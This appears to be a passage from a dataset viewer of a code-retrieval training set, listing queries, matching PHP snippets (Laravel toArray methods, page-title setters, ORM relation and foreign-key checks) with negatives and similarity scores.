query
stringlengths 7
5.25k
| document
stringlengths 15
1.06M
| metadata
dict | negatives
sequencelengths 3
101
| negative_scores
sequencelengths 3
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
Transform the resource into an array. | public function toArray($request)
{
if (is_null($this->resource)) {
return [];
}
return [
'last_name' => $this->last_name,
'first_name' => $this->first_name,
'full_name' => $this->full_name,
'dob' => $this->dob,
'bio' => $this->bio,
'picture' => $this->picture,
'created_at' => $this->created_at,
'updated_at' => $this->updated_at,
'is_complete' => $this->is_complete,
];
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function toArray(): array\n {\n if (is_null($this->resource)) {\n return [];\n }\n\n return is_array($this->resource)\n ? $this->resource\n : $this->resource->toArray();\n }",
"public function toArray(): array\n {\n if (is_null($this->resource)) {\n return [];\n }\n\n return is_array($this->resource)\n ? $this->resource\n : $this->resource->toArray();\n }",
"public function asArray() {\n return $this->resource;\n }",
"public function transform($resource)\n {\n return [];\n }",
"public function toArray()\n {\n if ($this->resource instanceof ArrayableInterface) {\n\n return $this->resource->toArray();\n } else {\n\n return null;\n }\n }",
"public function parse($resource)\n {\n return $resource->toArray();\n }",
"public function transform($resource)\n {\n return [\n 'id' => $resource['id'],\n 'item' => $resource['item'],\n 'qty' => $resource['qty'],\n\n ];\n }",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"public function toArray() {}",
"abstract protected function toArray();",
"public function getAsArray();",
"public function asArray();",
"public function asArray();",
"public function asArray();",
"public function asArray();",
"public function asArray();",
"public function asArray();",
"public function getAsArray()\n\t{\n\t\t\n\t\t$path = $this->get();\n\t\t\n\t\treturn self::toArray($path);\n\t\t\n\t}",
"public function transform($resource)\n {\n return [\n\n 'id' => (int) $resource->id,\n\t\t\t'name' => $resource->name,\n\t\t\t'description' => $resource->description,\n 'seat_count' => $resource->seat_count,\n\t\t\t'is_active' => $resource->is_active,\n\t\t\t'status' => $resource->status,\n\t\t\t'created_at' => $resource->created_at->toDateTimeString(),\n\t\t\t'updated_at' => $resource->updated_at->toDateTimeString(),\n\t\t\t\n ];\n }",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray();",
"public function toArray(): array\n {\n return [\n 'users' => HiUserResource::collection($this->resource),\n ];\n }",
"public function toArray()\n {\n return $this->transform();\n }",
"function toArray() ;",
"function toArray() ;",
"public function convertItemArray() {}",
"public function toArray(): array\n {\n $content = $this->getContent();\n\n if (\\is_array($content)) {\n return $this instanceof Filterable\n ? (array) $this->filterResponse($content)\n : $content;\n }\n\n return [];\n }",
"protected function asArray()\n\t{\n\t\treturn \\json_decode($this->response, true);\n\t}",
"public function arr() {\n\t\t\treturn \\uri\\generate::to_array($this->object);\n\t\t}",
"public function toArray()\n {\n return $this->getContent();\n }",
"public function toArray()\n {\n\n }",
"public function asArray(): array\n {\n return json_decode($this->result, true);\n }",
"public function toArray()\n {\n return $this->cast('array');\n }",
"function toArray(){\r\n\t\treturn $this->data;\r\n\t}",
"private function arrayify(): array\n {\n return $this->toArray();\n }",
"abstract public function toArray();",
"abstract public function toArray();",
"abstract public function toArray();",
"abstract public function toArray();",
"abstract public function toArray();",
"public function toArray() // untested\n {\n return $this->data;\n }",
"public function toArray(){\n $this->buildArray();\n return $this->array;\n }",
"public function toArray(): array;",
"public function toArray(): array;",
"public function toArray(): array;",
"public function toArray(): array;",
"public function toArray(): array;",
"public function toArray(): array;",
"public function toArray(): array;"
] | [
"0.7750928",
"0.7750928",
"0.7715773",
"0.75906307",
"0.7310379",
"0.7138024",
"0.7134791",
"0.7096877",
"0.7096877",
"0.70968604",
"0.70968604",
"0.70968604",
"0.70968604",
"0.70955557",
"0.70955557",
"0.70955557",
"0.70955557",
"0.70955557",
"0.70955557",
"0.70955557",
"0.70955557",
"0.70955557",
"0.70955557",
"0.6959165",
"0.69560915",
"0.68910366",
"0.68910366",
"0.68910366",
"0.68910366",
"0.68910366",
"0.68910366",
"0.6881386",
"0.6868011",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6852651",
"0.6851924",
"0.6790647",
"0.674651",
"0.674651",
"0.67363435",
"0.6720337",
"0.6712338",
"0.67115825",
"0.6710179",
"0.666141",
"0.66587526",
"0.6656767",
"0.6655622",
"0.66545117",
"0.6648871",
"0.6648871",
"0.6648871",
"0.6648871",
"0.6648871",
"0.66377884",
"0.6637001",
"0.6629",
"0.6629",
"0.6629",
"0.6629",
"0.6629",
"0.6629",
"0.6629"
] | 0.0 | -1 |
$this>setTitle('Nifty Nurikabe New User Pending'); | public function __construct()
{
//$this->setH1('');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function title()\n {\n return __(\"I'd like to control\", 'idlikethis');\n }",
"function title()\n {\n return \"系统通知\";\n }",
"protected function setTitle()\n\t{\n\t\tglobal $APPLICATION;\n\n\t\tif ($this->arParams[\"SET_TITLE\"] == 'Y')\n\t\t\t$APPLICATION->SetTitle(Localization\\Loc::getMessage(\"SPOL_DEFAULT_TITLE\"));\n\t}",
"public function setTitle($title);",
"public function setTitle($title);",
"public function setTitle($title);",
"public function setTitle($title);",
"public function setTitle($title);",
"public function setTitle($title);",
"public function setTitle($title);",
"public function setTitle($title){\n \t$this->title = $title;\n }",
"function setTitle($title)\r\n\t{\r\n\t\t$this->title = $title;\r\n\t}",
"public function loadPageTitle()\n \t\t{\n echo \"<title>Add Item</title>\";\n }",
"public function setTitle($value);",
"public function setTitle(string $text = \"untitled\");",
"public function __construct()\n {\n $this->setTitle(\"Game Login\");\n }",
"function setTitle($title) {\n\t\t$this->title = $title;\n\t}",
"function setTitle($title)\n {\n $this->m_title = $title;\n }",
"function setTitle($title)\n {\n $this->title = $title;\n }",
"function setTitle($title)\n {\n $this->title = $title;\n }",
"function setTitle($title)\n {\n $this->title = $title;\n }",
"function setTitle($title)\r\n {\r\n $this->title = $title;\r\n }",
"public function setTitle($newTitle) { $this->Title = $newTitle; }",
"function getTitle(){\n\t\techo \"Log in\";\n\t}",
"function setTitle($title) {\r\n $this->_title = $title;\r\n }",
"function setTitle($title) {\r\n $this->_title = $title;\r\n }",
"public function setTitle($title){\n $this->title = $title;\n }",
"public function setTitle( $newTitle )\n {\n\t\t$this->title = $newTitle;\n\t}",
"public function setTitle(string $title);",
"public static function setTitle(string $title) {}",
"function setTitle() {\n global $pageTitle;\n\n $pageTitle = isset($pageTitle) ? $pageTitle : 'Default' ;\n echo $pageTitle;\n }",
"function title()\n {\n // TRANS: Page title for OStatus remote subscription form.\n return _m('Confirm');\n }",
"function setTitle($title) {\n\t\t$this->_title = $title;\n\t}",
"function title() {\n parent::title();\n\n if (Session::haveRight('internet', UPDATE)\n && Session::canViewAllEntities()) {\n\n echo \"<div class='spaced' id='tabsbody'>\";\n echo \"<table class='tab_cadre_fixe'>\";\n\n echo \"<tr><td class='center'>\";\n Html::showSimpleForm(IPNetwork::getFormURL(), 'reinit_network',\n __('Reinit the network topology'));\n\n echo \"</td></tr>\";\n\n echo \"</table>\";\n echo \"</div>\";\n }\n }",
"function title(){\n\t\t\techo $mytitle= \"Profile. Car Parking Website\";\n\t\t\t\n\t\t}",
"public function ShowTitle()\n {\n return true;\n }",
"protected function _buildTitle()\n\t{\n\t\tif ($this->_task)\n\t\t{\n\t\t\t$title = Lang::txt('COM_MEMBERS_REGISTER_' . strtoupper($this->_task));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$title = Lang::txt('COM_MEMBERS_REGISTER');\n\t\t}\n\t\t\\Document::setTitle($title);\n\t}",
"function ui_title() {\n if (!isset($this->plugin['ui_title'])) {\n return check_plain($this->plugin['module'] . ':' . $this->plugin['name']);\n }\n return check_plain($this->plugin['ui_title']);\n }",
"public function setTitle($t){\n\t\t$this->title = $t;\n\t}",
"public function setTitle($title)\n {\n $this->title = $title;\n }",
"public function setTitle($title){\n $this->title = $title;\n }",
"public function setTitle($title) {\n $this->title = $title ;\n }",
"public function setTitle($value)\n {\n $this->_title = $value;\n }",
"function setTitle($a_title)\n\t{\n\t\t$this->title = $a_title;\n\t}",
"function set_title() {\n \tglobal $pageTitle;\n \tif (isset($pageTitle))\n \t\techo 'Tanqeeb | ' . $pageTitle;\n \telse\n \t\techo 'Tanqeeb';\n}",
"private function setTitleLabel(\\Scrivo\\Str $titleLabel) {\n\t\t$this->titleLabel = $titleLabel;\n\t}",
"public function title();",
"public function title();",
"public function title(){\r\n\r\n echo ISSET($this->pageSettings->page_title)?$this->pageSettings->page_title:'';\r\n\r\n }",
"public function setTitle($value)\n {\n $this->title = $value;\n }",
"public function setTitle($title)\r\n {\r\n $this->title = $title;\r\n }",
"function set_title($title) \r\n\t{\r\n\t\t//$this->title = $title;\r\n\t\t$this->data['title_for_layout'] = $title;\r\n\t\t$this;\r\n\t}",
"public function setTitle($title = '')\n {\n $this->title = $title;\n }",
"public function setTitle($title) {\r\n $this->title = $title;\r\n }",
"public function setTitle($title) {\n $this->_title = $title;\n }",
"public function setTitle($newTitle) {\n\t\t$this->title = $newTitle;\n\t}",
"function set_title($title){\r\n\t\t$this->_title = $title;\r\n\t}",
"public function setTitle($title) {\n\t\t$this->title = $title;\n\t}",
"public function setTitle($title) {\n\t\t$this->title = $title;\n\t}",
"public function setTitle($title) {\n\t\t$this->title = $title;\n\t}",
"public function setTitle($title)\n\t{\n\t\t$this->title = $title;\n\t}",
"public function setTitle($title)\n\t{\n\t\t$this->title = $title;\n\t}",
"public function setTitle($title){\n\t\t$this->mail_title = $title;\n\t}",
"public function setTitle($title){\n $this->p_title = $title;\n }",
"public function setTitle($var)\n {\n $this->_title = $var;\n }",
"public function setTitle($title) {\r\n $this->_title = $title;\r\n }",
"public function setTitle($title)\r\n\t\t{\r\n\t\t\t$this->_title = $title;\r\n\t\t}",
"public function setTitle($title) {\n $this->title = $title;\n }",
"public function setTitle($title) {\n $this->title = $title;\n }",
"public function setTitle($title)\n {\n $this->title = $title;\n }",
"public function setTitle($title)\n {\n $this->title = $title;\n }",
"public function setTitle($title)\n {\n $this->title = $title;\n }",
"public function setTitle($title)\n {\n $this->title = $title;\n }",
"public function setTitle($title)\n {\n $this->title = $title;\n }",
"public function setTitle($title)\n {\n $this->title = $title;\n }",
"public function setTitle($val){ return $this->setField('title',$val); }",
"public function get_title() {\n\t\treturn parent::get_widget_title( 'Team_Member' );\n\t}",
"public function set_title($text){\n $this->title=$text;\n }",
"public function setTitle($title) {\n\t\t\n\t\t\t$this->_title = $title;\n\t\t\n\t\t}",
"public function printTitle() {\n\t\techo $this->title;\n\t}",
"public function get_title( )\n {\n return 'Something went wrong.';\n }",
"public function get_title() {\n\t\treturn esc_html__( 'Modal', 'tr-framework' );\n\t}",
"public static function title()\n {\n return 'Untitled module';\n }",
"function title()\n {\n print($this->_title);\n }",
"static public function setTitle($new_title) {\n\t\tif (is_array($new_title)) {\n\t\t\t$new_title = implode(' • ', $new_title);\n\t\t}\n\t\tself::$page_title = 'Illarion • ' . $new_title;\n\t}",
"function setTitle( &$value )\n {\n if ( $this->State_ == \"Dirty\" )\n $this->get( $this->ID );\n\n $this->Title = $value;\n }",
"public function getTitle()\n {\n return Mage::helper('ddg')->__(\"Engagement Cloud Account Information\");\n }",
"public function get_title() {\n\t\treturn __( 'Team', 'qazana' );\n\t}",
"public function setTitle($title)\n {\n $this->_title = $title;\n }",
"public function setTitle($title)\n {\n $this->_title = $title;\n }",
"public function setTitle($title)\n{\n $this->title= $title;\n}",
"public function setTitle(string $title) {\n\t\t$this->title = $title;\n\t}",
"function setTitle ($titulo) {\n\t\t$this->_title = $titulo;\n\t\treturn true;\n\t}",
"public function getTitle()\n\t{\n\t\treturn esc_html__('Profile assignment', 'next-active-directory-integration');\n\t}",
"public function setTitle($title)\n {\n $this->setValue('title', $title);\n }",
"public function setLabel();",
"function append_title($title){\r\n\t\t$this->_title .= \" - {$title}\";\r\n\t}",
"private function setTitle()\n {\n $this->title = $this->start_date;\n\n if ($this->start_date != $this->end_date) {\n $this->title .= ' - '.$this->end_date;\n }\n }",
"public static function title();",
"function pageTitle()\n{\n\techo \"TSTV :: Admin\";\n\t\n}",
"public function title() {\n return \"{$this->venuename} ({$this->id})\";\n }"
] | [
"0.7131351",
"0.7114875",
"0.702925",
"0.7012955",
"0.7012955",
"0.7012955",
"0.7012955",
"0.7012955",
"0.7012955",
"0.7012955",
"0.70076096",
"0.699241",
"0.6981601",
"0.6968719",
"0.69443905",
"0.69218385",
"0.6916229",
"0.688255",
"0.68606895",
"0.68606895",
"0.68606895",
"0.6859925",
"0.6843668",
"0.68305254",
"0.68270063",
"0.68270063",
"0.6815362",
"0.68023384",
"0.6777249",
"0.67683434",
"0.6764118",
"0.67563176",
"0.6755008",
"0.674978",
"0.6745999",
"0.6725603",
"0.6718592",
"0.67093295",
"0.6708771",
"0.6699612",
"0.66930515",
"0.6690312",
"0.66651267",
"0.6658385",
"0.6653409",
"0.6653383",
"0.66517967",
"0.66517967",
"0.66420543",
"0.6641756",
"0.66300035",
"0.6627982",
"0.6623601",
"0.6617976",
"0.6612732",
"0.6597535",
"0.6585997",
"0.6582468",
"0.6582468",
"0.6582468",
"0.65668535",
"0.65668535",
"0.65628946",
"0.655668",
"0.65519226",
"0.6502056",
"0.6495793",
"0.6491995",
"0.6491995",
"0.64872897",
"0.64872897",
"0.64872897",
"0.64872897",
"0.64872897",
"0.64872897",
"0.64814997",
"0.64573866",
"0.64549786",
"0.644943",
"0.6439093",
"0.64387107",
"0.6436267",
"0.6434045",
"0.6433397",
"0.6430356",
"0.6423481",
"0.642083",
"0.64035714",
"0.6400668",
"0.6400668",
"0.63983196",
"0.63904667",
"0.6387009",
"0.63856256",
"0.63831633",
"0.63786757",
"0.636659",
"0.63644224",
"0.6364246",
"0.6362283",
"0.6357623"
] | 0.0 | -1 |
check the auto relations have been flagged correctly | function testAddEntities() {
$this->assertEquals(array('User', 'Comment', 'MultiDep'), $this->config->_relations['auto']);
// check the reverse relations have been correctly defined
$this->assertEquals(array('my_blog_tag_set', 'comments'), array_keys($this->config->_relations['Blog']));
$this->assertEquals(array('user_set', 'blog_set', 'my_blog_tag_set', 'comment_set'), array_keys($this->config->_relations['Tag']));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function _checkForeignKeysReverseCascade() {}",
"protected function _checkForeignKeysReverseRestrict() {}",
"protected function _checkForeignKeysRestrict() {}",
"public function isRelated();",
"public function hasRelations()\n {\n return 0 !== count($this->relations);\n }",
"public function testFkChecksOnOff()\n {\n $this->assertTrue($this->connection->areForeignKeyChecksOn());\n $this->connection->turnOffForeignKeyChecks();\n $this->assertFalse($this->connection->areForeignKeyChecksOn());\n $this->connection->turnOnForeignKeyChecks();\n $this->assertTrue($this->connection->areForeignKeyChecksOn());\n }",
"private function warnForThroughRelations()\n {\n $this->warn(\"| Make sure that the \\\"{$this->parent}\\\" model has the foreign key \\\"\".Str::lower($this->farParent).\"_id\\\" and the \\\"{$this->throughChild}\\\" model has the foreign key \\\"\".Str::lower($this->parent).\"_id\\\"\\n\");\n }",
"public function hasMultipleFK()\n {\n return (count($this->getForeignKeys()) > 1);\n }",
"public function hasRelations()\r\n {\r\n return !empty($this->relations);\r\n }",
"public function hasAutopos(){\n return $this->_has(2);\n }",
"public function hasAuto(){\n return $this->_has(3);\n }",
"public function isAddToRelationship();",
"function _related_required($object, $model)\r\n\t{\r\n\t\treturn ($this->_count_related($model, $object) == 0) ? FALSE : TRUE;\r\n\t}",
"function onCheckSchema()\n {\n // Not sure we need a new data class for ContextIO. We should be able\n // to do everything with the existing Foreign_link and Foreign_user\n // table. Maybe.\n\n return true;\n }",
"protected function hasCascadeRelationDefined() {\n\n if ( ! is_array($this->relationships) || empty($this->relationships) ) {\n\n return false;\n }\n\n return true;\n }",
"public function checkTransaction()\n {\n $model = $this->hasMany(LogWarehouse::className(),['parts_accessories_id'=>'_id'])->count();\n if($model>0){\n return true;\n } else {\n return false;\n }\n }",
"public function isRelationshipData();",
"public function getShouldPurgeRelations()\n {\n return (bool) CloudFlare::config()->should_purge_relations;\n }",
"public function hasForce(){\n return $this->_has(2);\n }",
"public function updateNecessary(): bool\n {\n $queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)->getQueryBuilderForTable(self::TABLE_NAME);\n $queryBuilder->getRestrictions()->removeAll();\n $elementCount = $queryBuilder->count('uid')\n ->from(self::TABLE_NAME)\n ->where(\n $queryBuilder->expr()->orX(\n $queryBuilder->expr()->eq('path_segment', $queryBuilder->createNamedParameter('', \\PDO::PARAM_STR)),\n $queryBuilder->expr()->isNull('path_segment')\n )\n )\n ->execute()->fetchColumn(0);\n\n return (bool)$elementCount;\n }",
"public function validate()\n {\n /* @var $model \\yii\\db\\ActiveRecord */\n $valid = true;\n\n foreach ($this->_relationsToSave as $model) {\n $model->{$this->relPrimaryKey} = ($this->owner->primaryKey) ? $this->owner->primaryKey : null;\n\n $attributes = array_diff($model->activeAttributes(), [$this->relPrimaryKey]);\n\n if (!$model->validate($attributes)) {\n $this->owner->addErrors($model->getErrors());\n\n $valid = false;\n }\n }\n\n return $valid;\n }",
"protected static function _relations() {\n\n\t}",
"private function askRelations()\n {\n foreach ($this->generator->relations as $relation) {\n //Ask\n $choice = $this->ask(\"Is the relation between `\".$relation['table'].\"(\".$relation['local_id'].\")`\"\n .\"and `\".$relation['foreign_table'].\"(\".$relation['foreign_id'].\")`\"\n .\"1:One to Many? or 2:One to One? or 3:None\", '1');\n\n if ($choice != '3') {\n $choice == '2' ? $this->generator->oneToOne[] = $relation : $this->generator->oneToMany[] = $relation;\n }\n }\n }",
"public function hasReferences() {}",
"function isFK(){\n\t\treturn $this->remote_field != '' ;\n\t}",
"public function isModifyRelationship();",
"public function complete(){\n\n $flag = 0;\n \n $query = \"SET foreign_key_checks = 0\";\n $stmt = $this->conn->prepare($query);\n $stmt->execute();\n \n $query1 = \"DELETE FROM \" . $this->table_name . \"\n WHERE id_ordine=?\";\n $stmt1 = $this->conn->prepare($query1);\n $this->id_ordine=htmlspecialchars($this->id_ordine);\n $stmt1->bindParam(1, $this->id_ordine);\n $stmt1->execute();\n if($stmt1){\n $query2 = \"UPDATE articolo set id_ordine = NULL \n WHERE id_ordine=?\";\n\n $stmt2 = $this->conn->prepare($query2);\n $this->id_ordine=htmlspecialchars($this->id_ordine);\n $stmt2->bindParam(1, $this->id_ordine);\n $stmt2->execute();\n\n if($stmt2){\n\n $query3 = \"SET foreign_key_checks = 1\";\n $stmt3 = $this->conn->prepare($query3);\n $stmt3->execute();\n if($stmt3)\n return true;\n }\n }\n else\n return false;\n }",
"public function canAutoJoin()\n {\n return ($this instanceof SingleRelation);\n }",
"public function refersToTable(): bool;",
"function remove_dependents() {\n\t\t/** todo\n\t\tforeach($this->has_many_data as $key => $value) {\n\t\t\tdebug($key, $value);\n\n\t\t}\n\n\t\tforeach($this->has_one_data as $key => $value) {\n\t\t\tdebug($key, $value);\n\t\t}\n\t\t*/\n\n\t\treturn true;\n\t}",
"public function hasReferenceIds(){\n return $this->_has(2);\n }",
"protected function _enableForeignKeyChecks()\n\t{\n\t\treturn '';\n\t}",
"public function hasReferences(){\n return $this->_has(1);\n }",
"private function warnForPolimorphicRelations()\n {\n $this->warn(\"| Make sure that the \\\"{$this->polymorphicName}\\\" table model has the foreign keys \\\"\".Str::lower($this->polymorphicName).\"able_id\\\" and \\\"\".Str::lower($this->polymorphicName).\"able_type\\\"\\n\");\n }",
"public function checkIntegrity();",
"public function isReplaceRelationship();",
"private function _removeDisabledRelations()\n {\n if (!$this->attrActive) {\n return false;\n }\n\n foreach ($this->_relationsToSave as $key => $rel) {\n\n if (!isset($rel->{$this->attrActive})) {\n continue;\n }\n\n if (!$rel->validate() && !$rel->{$this->attrActive}) {\n ArrayHelper::remove($this->_relationsToSave, $key);\n }\n }\n\n return true;\n }",
"public function hasAssociations()\n {\n return ($this->pairs->count() || $this->articulations->count() ||\n $this->refits->count() || $this->morphologys->count()) ? true : false;\n }",
"public function bidirectional_relation_exists() {\n $this->db->query(\"SELECT * FROM user_relation WHERE (`from` = ? AND `to` = ?) OR (`from` = ? AND `to` = ?)\",\n array(\n $this->from,\n $this->to,\n $this->to,\n $this->from,\n ));\n\n if($this->db->count() > 0) {\n return $this->db->results()[0]->status;\n } else {\n return false;\n }\n }",
"public function hasReferenceSets(){\n return $this->_has(1);\n }",
"protected function relationHasIncrementingId()\n {\n return $this->related->getIncrementing() &&\n $this->related->getKeyType() === 'int';\n }",
"public function checkIsSaved()\n {\n if (isset($this->owner->primaryKey) == false) {\n throw new ModelIsUnsaved();\n }\n }",
"function checkIntegrityDb()\r\n\t{\r\n\t\treturn true;\r\n\t}",
"protected function _related_required($object, $model)\n\t{\n\t\treturn ($this->_count_related($model, $object) == 0) ? FALSE : TRUE;\n\t}",
"public function hasRelationship() {\n return $this->_has(1);\n }",
"public function beforeValidate()\n {\n // Find relations settings once.\n if (!isset($this->_settings)) {\n $this->_settings = $this->owner->relations();\n }\n\n foreach ($this->relations as $rel) {\n // Call owners tabular method.\n $method = $rel['name'] . 'Tabular';\n $tabular = $this->owner->$method();\n\n $this->owner->$rel['name'] = $tabular;\n\n // Check for validation errors.\n $valid = true;\n if (is_array($tabular)) {\n foreach ($tabular as $m) {\n $valid = $m->validate() && $valid;\n }\n } elseif(is_object($tabular)) {\n $valid = $tabular->validate() && $valid;\n }\n if (!$valid) {\n $this->owner->addError($rel['name'], 'Неверно задано поле ' . $this->owner->getAttributeLabel($rel['name']));\n }\n }\n }",
"public function updateNecessary(): bool\n {\n $upgradeApi = GeneralUtility::makeInstance(UpgradeApi::class);\n $elementCount = 0;\n $tables = explode(',', self::TABLES);\n foreach ($tables as $table) {\n if (!isset($this->tableFields[$table])) {\n continue;\n }\n $fields = $this->tableFields[$table];\n foreach ($fields as $field) { \n $elementCount += \n $upgradeApi->countOfTableFieldMigrations(\n $table,\n $field, \n $field . '_uid', \n ParameterType::STRING,\n \\PDO::PARAM_INT\n );\n if ($elementCount > 0) {\n break;\n }\n }\n if ($elementCount > 0) {\n break;\n }\n }\n return ($elementCount > 0);\n }",
"public function valid(){\n return $this->index < count($this->ids);\n }",
"function cumple_dependencias()\n\t{\n\t\treturn count($this->get_dependencias_faltantes()) > 0;\n\t}",
"public function hasCrossRelations()\n {\n return 0 !== count($this->getCrossFks());\n }",
"public function setForeignKeyChecks($state);",
"public function testCallMoreThanOnce() {\n\t\t$this->model->Behaviors->load('NetCommons.Trackable');\n\n\t\t$this->assertTrue(isset($this->model->belongsTo['TrackableCreator']));\n\t\t$this->assertTrue(isset($this->model->belongsTo['TrackableUpdater']));\n\t}",
"public function adjustingMmRelationWithTablesnameAndFieldnameFieldDoNotTouchOtherRelations() {}",
"public function has_or_relation()\n {\n }",
"public function isValidForeignKey($data) {\n foreach ($data as $key => $value) {\n foreach ($this->belongsTo as $alias => $assoc) {\n if ($assoc['foreignKey'] == $key) {\n $this->{$alias}->id = $value;\n return $this->{$alias}->exists();\n }\n }\n }\n return false;\n }",
"public function test_4_3()\n {\n $out = SetupTestData::hasmany_save_4();\n \n // get all items to avoid losing them when the clean() is executed over the collection\n $addresses = $out['person']->get_addresses()->all();\n \n $out['person']->clean_addresses(); // shouldn't turn on the is_dirty because there are no objects\n \n $out['person']->save(); // shouldn't update because is not dirty\n \n \n // tests\n $this->assert($out['person']->size_addresses() === 0, 'Has many has 0 objects');\n\n $this->assert(count($addresses) === 0, 'Has many has 0 objects');\n }",
"static function set_noForeignKeyChecks() {\r\n global $db;\r\n \r\n $query = \"SET FOREIGN_KEY_CHECKS=0\";\r\n\r\n $statement = $db->prepare($query);\r\n\r\n if ($statement == FALSE) {\r\n display_db_error($db->error);\r\n }\r\n \r\n $success = $statement->execute();\r\n\r\n if ($success) {\r\n $statement->close();\r\n } else {\r\n display_db_error($db->error);\r\n }\r\n }",
"private function ensureDBConsistency(): void\n\t{\n\t\t$checkRelation = function (\n\t\t\tstring $modelName,\n\t\t\tstring $table,\n\t\t\tstring $column,\n\t\t\tstring $foreignModelName,\n\t\t\tstring $foreignTable,\n\t\t\tstring $fixMethod = '',\n\t\t): bool {\n\t\t\t$missing = DB::table($table)\n\t\t\t\t->whereNotIn($column, function (Builder $q) use ($foreignTable) {\n\t\t\t\t\t$q->from($foreignTable)->select('id');\n\t\t\t\t})\n\t\t\t\t->select('id', $column)\n\t\t\t\t->get();\n\n\t\t\tforeach ($missing as $m) {\n\t\t\t\t$msg = 'Found ' . $modelName .\n\t\t\t\t\t' with ID ' . $m->id .\n\t\t\t\t\t' which refers to non-existing ' . $foreignModelName .\n\t\t\t\t\t' with ID ' . $m->{$column};\n\t\t\t\tif (empty($fixMethod)) {\n\t\t\t\t\t$this->printError($msg);\n\t\t\t\t} else {\n\t\t\t\t\t$this->printWarning($msg);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ($missing->isEmpty()) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\t$fixQuery = DB::table($table)->whereIn('id', $missing->pluck('id'));\n\n\t\t\tswitch ($fixMethod) {\n\t\t\t\tcase 'nullify':\n\t\t\t\t\t$this->printInfo('Nullifying the affected relations from ' . $modelName . 's to ' . $foreignModelName . 's');\n\t\t\t\t\t$fixQuery->update([$column => null]);\n\n\t\t\t\t\treturn true;\n\t\t\t\tcase 'zeroize':\n\t\t\t\t\t$this->printInfo('Zeroizing the affected relations from ' . $modelName . 's to ' . $foreignModelName . 's');\n\t\t\t\t\t$fixQuery->update([$column => 0]);\n\n\t\t\t\t\treturn true;\n\t\t\t\tcase 'delete':\n\t\t\t\t\t$this->printInfo('Deleting the affected ' . $modelName . 's');\n\t\t\t\t\t$fixQuery->delete();\n\n\t\t\t\t\treturn true;\n\t\t\t\tdefault:\n\t\t\t\t\t$this->printInfo('Error is not automatically fixable');\n\n\t\t\t\t\treturn false;\n\t\t\t}\n\t\t};\n\n\t\t// If the owner of an album is missing, assign it to the admin user\n\t\t$isConsistent = $checkRelation('album', 'albums', 'owner_id', 'user', 'users', 'zeroize');\n\t\t// Move orphaned albums to the top-level\n\t\t$isConsistent &= $checkRelation('album', 'albums', 'parent_id', 'parent album', 'albums', 'nullify');\n\t\t// If the cover of an album is missing, unset the cover\n\t\t$isConsistent &= $checkRelation('album', 'albums', 'cover_id', 'cover photo', 'photos', 'nullify');\n\t\t// Delete orphaned shares\n\t\t$isConsistent &= $checkRelation('share', 'user_album', 'user_id', 'user', 'users', 'delete');\n\t\t$isConsistent &= $checkRelation('share', 'user_album', 'album_id', 'album', 'albums', 'delete');\n\t\t// If the owner of a photo is missing, assign it to the admin user\n\t\t$isConsistent &= $checkRelation('photo', 'photos', 'owner_id', 'user', 'users', 'zeroize');\n\t\t// If the album of a photo is missing, assign it to root (unsorted) album\n\t\t$isConsistent &= $checkRelation('photo', 'photos', 'album_id', 'album', 'albums', 'nullify');\n\t\t// Delete orphaned WebAuthn credentials\n\t\t$isConsistent &= $checkRelation('web authentication credential', 'web_authn_credentials', 'user_id', 'user', 'users', 'delete');\n\t\t// There is no obvious fix for orphaned page content\n\t\t$isConsistent &= $checkRelation('page content', 'page_contents', 'page_id', 'page', 'pages');\n\n\t\t// As we might have moved orphaned albums to the top,\n\t\t// we need to fix the tree.\n\t\t// Even if we did not move any album, fixing the tree before\n\t\t// the migration does not harm as users might have fiddled with their\n\t\t// DB without taking care of\n\t\t// `_lft` and `_rgt`\n\t\tRefactorAlbumModel_AlbumModel::query()->fixTree();\n\n\t\tif (!$isConsistent) {\n\t\t\t$this->printError('Your database is inconsistent and not fit for migration. Please fix your DB manually first.');\n\t\t\tthrow new \\RuntimeException('Inconsistent DB');\n\t\t}\n\t}",
"public function isRelationPopulated($name)\n {\n return array_key_exists($name, $this->_related);\n }",
